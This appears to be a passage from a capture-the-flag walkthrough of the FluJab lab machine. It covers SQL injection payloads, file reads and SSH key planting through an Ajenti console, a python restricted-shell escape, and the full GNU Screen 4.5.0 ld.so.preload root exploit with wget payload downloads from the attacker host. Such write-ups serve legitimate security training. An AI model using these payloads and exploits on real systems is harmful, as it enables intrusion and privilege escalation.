PART 4 : GENERATE USER SHELL

Add sysadmin-console-01.flujab.htb to local /etc/hosts:

127.0.0.1       localhost
127.0.1.1       kali f
...
10.10.10.124    sysadmin-console-01.flujab.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Accessing https://sysadmin-console-01.flujab.htb:

Accessing over port 8080 (https://sysadmin-console-01.flujab.htb:8080):

And checking the server response by requesting over curl:

$ curl -I -k https://sysadmin-console-01.flujab.htb:8080

HTTP/1.1 301 Moved Permanently
Date: ..., .. May 2019 ..:..:.. GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://clownware.htb/cwerror_denied.php
Server: ClownWare Proxy

The page has a Permanent Redirect(301) to .../cwerror_denied.php and it may be suffering from a cached redirect:

Cached redirects could be bypassed by adding a trailing slash ("/") or a unique parameter that hasn't been cached (/?, /?something_unique, or /?unique=something)

There was a urlcache table in the vaccinations database which may give a lead on how to proceed.

Check the urlcache table in vaccinations using nhsnum in /?remind

' AND '1'='2' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_schema=database() AND table_name='urlcache'; #

Subject: Flu Jab Appointment - Ref:id,url,lastmodified,added,content

' AND '1'='2' UNION SELECT 1,2,group_concat(url),4,5 FROM urlcache; #

Subject: Flu Jab Appointment - Ref:

There doesn't seem to be anything cached on the server. Clearing the browser cache (Ctrl + Shift + Del for FireFox) might help.

Revisit https://sysadmin-console-01.flujab.htb:8080/?:

The redirect no longer goes to .../cwerror/denied.php. Instead, it now redirects to an Ajenti login page and using sysadm:th3doct0r redirects you to:

There is a Notepad plugin in the Ajenti service and the first thing I did was to enumerate the system users https://...:8080/view/notepad//etc/passwd:

root:x:0:0:root:/root:/bin/bash
...
drno:x:1000:1000:drno,,,:/home/drno:/bin/rbash
...
nursejackie:x:1002:1006:,,,:/home/nursejackie:/bin/rbash
sysadm:x:1003:1007:,,,:/home/sysadm:/bin/rbash
drblack:x:1004:1008:,,,:/home/drblack:/bin/rbash
drwhite:x:1005:1009:,,,:/home/drwhite:/bin/rbash
drstrange:x:1006:1010:,,,:/home/drstrange:/bin/rbash
drfoster:x:1007:1011:,,,:/home/drfoster:/bin/rbash
dryi:x:1008:1012:,,,:/home/dryi:/bin/rbash
drpo:x:1009:1013:,,,:/home/drpo:/bin/rbash
drsmith:x:1010:1014:,,,:/home/drsmith:/bin/rbash
drjones:x:1011:1015:,,,:/home/drjones:/bin/rbash
drgreene:x:1012:1016:,,,:/home/drgreene:/bin/rbash
drshipman:x:1013:1017:,,,:/home/drshipman:/bin/rbash
drwho:x:1014:1018:,,,:/home/drwho:/bin/rbash
nursepeter:x:1015:1019:,,,:/home/nursepeter:/bin/rbash
nurseyi:x:1016:1020:,,,:/home/nurseyi:/bin/rbash
nursemoe:x:1017:1021:,,,:/home/nursemoe:/bin/rbash
drcrick:x:1018:1022:,,,:/home/drcrick:/bin/rbash
drstones:x:1019:1023:,,,:/home/drstones:/bin/rbash
nursewhitstone:x:1020:1024:,,,:/home/nursewhitstone:/bin/rbash
nursetumble:x:1021:1025:,,,:/home/nursetumble:/bin/rbash
nursewaters:x:1022:1026:,,,:/home/nursewaters:/bin/rbash
nursewalters:x:1023:1027:,,,:/home/nursewalters:/bin/rbash
nursebluecoats:x:1024:1028:,,,:/home/nursebluecoats:/bin/rbash
drme:x:1025:1029:,,,:/home/drme:/bin/rbash
drnu:x:1026:1030:,,,:/home/drnu:/bin/rbash
drre:x:1027:1031:,,,:/home/drre:/bin/rbash
drdre:x:1028:1032:,,,:/home/drdre:/bin/rbash

There are a lot of system users and all but root has a restricted shell (/bin/rbash) and a mismatch of uids and gids

Listing the contents of all the user directories, most are inaccessible except for the current user (sysadm) and drno which has an ~/.ssh directory which contains a userkey file:

Exporting the found private key and then connecting to 10.10.10.124 via ssh:

$ chmod 400 userkey

$ ssh -i userkey -l drno 10.10.10.124

  ssh_exchange_identification: Connection closed by remote host

The connection should work but it doesn't. Opening the /etc/ssh/sshd_config file in the Ajenti Notepad to see how private keys are read:

# $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ 

...omitted...

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
AuthorizedKeysFile .ssh/authorized_keys access

...omitted...

Public keys are read from .ssh/authorized_keys and/or access and reading from /home/drno/.ssh/authorized_keys:

# shell whitelisting + key auth enabled 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=

It reveals that the remote connections must be whitelisted and that the public key requires a passphrase

Editing /etc/hosts.allow to whitelist your own IP address:

# grant ssh access per host
# syntax:
# sshd : [host ip]
###########################

sshd : 10.10.15.10
sshd : 127.0.0.1

Then retry the connection via ssh:

$ ssh -i userkey -l drno 10.10.10.124

   Enter passphrase for key 'userkey': 
   drno@10.10.10.124: Permission denied (publickey).

No credentials for drno has been found so far but what if a newly generated RSA key pair was written to .ssh/authorized_keys or access

$ ssh-keygen -t rsa -b 4096

  Generating public/private rsa key pair.
  Enter file in which to save the key (/home/.../.ssh/id_rsa): .ssh/id_rsa
  Enter passphrase (empty for no passphrase): flujab
  Enter same passphrase again: flujab
  Your identification has been saved in .ssh/id_rsa.
  Your public key has been saved in .ssh/id_rsa.pub.
  The key fingerprint is:
  SHA256:xHmVZlXhLq8Gp0FvcWd9IFKymV97HHM6BP3K3RxkEVw jebidiah@LAPTOP-C54THGLR
  The key's randomart image is:
    +---[RSA 4096]----+
    |          ..++o=E|
    |       . ..*=.++ |
    |        + =+ .=*o|
    |       . . o +.*X|
    |        S . oo**B|
    |           o +=o+|
    |            *  . |
    |           . ..  |
    |            ..   |
    +----[SHA256]-----+

Writing the id_rsa.pub file then changing its permissions using the Ajenti API:

POST /api/filesystem/write//home/sysadm/access?encoding=utf-8 HTTP/1.1
Host: sysadmin-console-01.flujab.htb:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sysadmin-console-01.flujab.htb:8080/view/notepad//home/sysadm/access
Content-Type: application/json;charset=utf-8
Content-Length: 724
Connection: close
Cookie: ...

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiZ+jqG9aLGvumbTF4wGsff1tooQuWOFvqSqna7O0hSdDIB43mwIy1yYGvhH75T9h4XkFc1PeWdflT14ox4M1imLIk8DMFHZLac9e/nEs+cJzmk+BDVG5AckG3DnSaa0f3ftfSsRVqCnD3SXdhYH+KKO2WaQRt4Nsv6BGcomnJm/b1vr/zn2fkwEiC0fI2cENvZ3HaEvVrVnDESc4TKPiPiZSZ8TnfMi++nDwVbZOroOoo1InrL3jSDYuuZR0Qn7TGMoh+anLBxdCRgQuPqav1br0g0OrTvr39IsfsCPNVSrknISPnzPvekaYJkoihdTwezbaCo63/wBhTk25nW+y57b3FRaCyUbBCw5+Qrshc5HNxYhfy1pujFkfVDfuKgZhUFIGJKqkFjX+DTJqulZL8LtyoWrhGVIBkYmblAIchc8ZXwzDnHPyezqTmrYTuSNipuFCYcVQ8iYXprIAXlNHFh4e0+mgnJ/J0QS5mvVQaDlRrZnB1s9/6VDSUH7W8X+ZbC4lKM816VHnBJDW/IZw+LK4jf4tndx2GZCsa8aI6u9WvUAfc5gHkrx5EZT2ewIbjNKdIeFOEY/2kCFypGGBB5758wgfS7MDbFtI1hgZ8+fGac3Bt2MEWKM2vO9IgBH8vaTbLvxIOs3gnTR3i/EPKh8IG8/VOwGneT4kNJQN+hQ==

The user, sysadm, has a writable home directory and the id_rsa.pub file is written to a file named, access. (referring to sshd_config)

POST /api/filesystem/chmod//home/sysadm/access?encoding=utf-8 HTTP/1.1
Host: sysadmin-console-01.flujab.htb:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sysadmin-console-01.flujab.htb:8080/view/notepad//home/sysadm/access
Content-Type: application/json;charset=utf-8
Content-Length: 12
Connection: close
Cookie: ...

{"mode":292}

According to the ajenti.filesystem documentation, chmod accepts 2 arguments -- (path, mode) where mode accepts an integer value.

chmod uses octal values for user, group, global, and other permissions
The octal value for -r--r--r-- is 0444 wchi in decimal (or integer value), 0444 is 292.

Now, reconnecting to 10.10.10.124 via ssh using the generated RSA key pair and as user, sysadm:

$ chmod 400 .ssh/id_rsa

$ ssh -i .ssh/id_rsa -l sysadm 10.10.10.124
  Enter passphrase for key '.ssh/id_rsa': flujab

$ cd

  -rbash: cd: restricted

All users are trapped in a restricted shell (/bin/rbash):

$ python --version

  Python 2.7.13

But luckily, the shell accepts python instructions which could be leveraged for proper command execution:

$ python -c 'import pty; pty.spawn("/bin/bash")'

PART 5 : PRIVILEGE ESCALATION (sysadm -> root)

Check for SUID files owned by root:

$ find / -uid 0 -perm -4000 -type f 2>/dev/null

  ...omitted...
  /usr/local/share/screen/screen
  ...omitted...
  /usr/bin/screen
  ...omitted...

There are two binaries with the same name (screen) which can write files to the system using its -L Turn on output logging. option and checking the binaries' version:

$ /usr/local/share/screen/screen -v

   Screen version 4.05.00 (GNU) 10-Dec-16

$ /usr/bin/screen -v

   Screen version 4.05.00 (GNU) 10-Dec-16

$ echo $PATH

  /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Both are running version 4.05.00 but /usr/local/share is not in the PATH variable which might mean that /usr/local/share/screen/screen might be a modified binary with an SUID bit.

Searching for available exploits using searchsploit:

$ searchsploit screen | grep 4.5

  GNU Screen 4.5.0 - Local Privilege Escalation            | exploits/linux/local/41154.sh
  GNU Screen 4.5.0 - Local Privilege Escalation (PoC)      | exploits/linux/local/41152.txt

$ searchsploit -m exploits/linux/local/41154.sh

    Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
        URL: https://www.exploit-db.com/exploits/41154
       Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
  File Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators

The exploit (41154.sh) contains:

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

The exploit works like this:

It two files -- libhax.c and rootshell.c
libhax.c is compiled as a shared object file (libhax.so)
rootshell.c is compiled as an executable (rootshell)
libhax.so is wriiten to /etc/ld.so.preload

The screen binary is used to append to the /etc/ld.so.preload file which is only writable as root. shared objects written in /etc/ld.so.preload are loaded before everything else which is even capable of overwriting libc functions and since libhax.so gives SUID permissions to the created /tmp/rootshell executable, a root shell should be spawned upon successful exploit.

Enumerating the system using sysadm shell to see how the exploit will be compiled:

$ uname -a

  Linux flujab 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux

$ gcc

  bash: gcc: command not found

The system runs on a 64-bit architecture and gcc is not available in the system.

Instead, create and compile libhax.c and rootshell.c locally:

EXPLOIT #1 : libhax.c

$ vim libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

:wq

EXPLOIT #2 : rootshell.c

$ vim rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

:wq

EXPLOIT #3 : COMPILING THE BINARIES

$ gcc -fPIC -shared -ldl -o libhax.so libhax.c

  libhax.c: In function ‘dropshell’:
  libhax.c:7:5: warning: implicit declaration of function ‘chmod’; did you mean ‘chroot’? [-Wimplicit-function-declaration]
       chmod("/tmp/rootshell", 04755);
       ^~~~~
       chroot

$ gcc -o rootshell rootshell.c

  rootshell.c: In function ‘main’:
  rootshell.c:3:5: warning: implicit declaration of function ‘setuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
       setuid(0);
       ^~~~~~
       setbuf
  rootshell.c:4:5: warning: implicit declaration of function ‘setgid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
       setgid(0);
       ^~~~~~
       setbuf
  rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’; did you mean ‘setbuf’? [-Wimplicit-function-declaration]
       seteuid(0);
       ^~~~~~~
       setbuf
  rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
       setegid(0);
       ^~~~~~~
  rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
       execvp("/bin/sh", NULL, NULL);
       ^~~~~~

Upload the binaries using a python SimpleHTTPServer to the sysadm shell then execute the exploit:

$ cd /tmp

$ wget http://10.10.15.10:8000/libhax.so

  libhax.so           100%[===================>]  15.76K  62.6KB/s    in 0.3s

$ wget http://10.10.15.10:8000/rootshell

  rootshell           100%[===================>]  16.43K  52.1KB/s    in 0.3s

EXPLOIT #4 : EXECUTING THE EXPLOIT

$ chmod +x /tmp/rootshell

$ cd /etc

$ umask 000

$ /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

$ /usr/local/share/screen/screen -ls

  No Sockets found in /tmp/screens/S-sysadm.

$ /tmp/rootshell

# id

  uid=0(root) gid=0(root) groups=0(root),1007(sysadm)

# cat /root/root.txt

  7081........................ee33

# find /home -name user.txt -exec cat {} +

  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  c519........................62d4
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P           
  This is A Nope !!! :P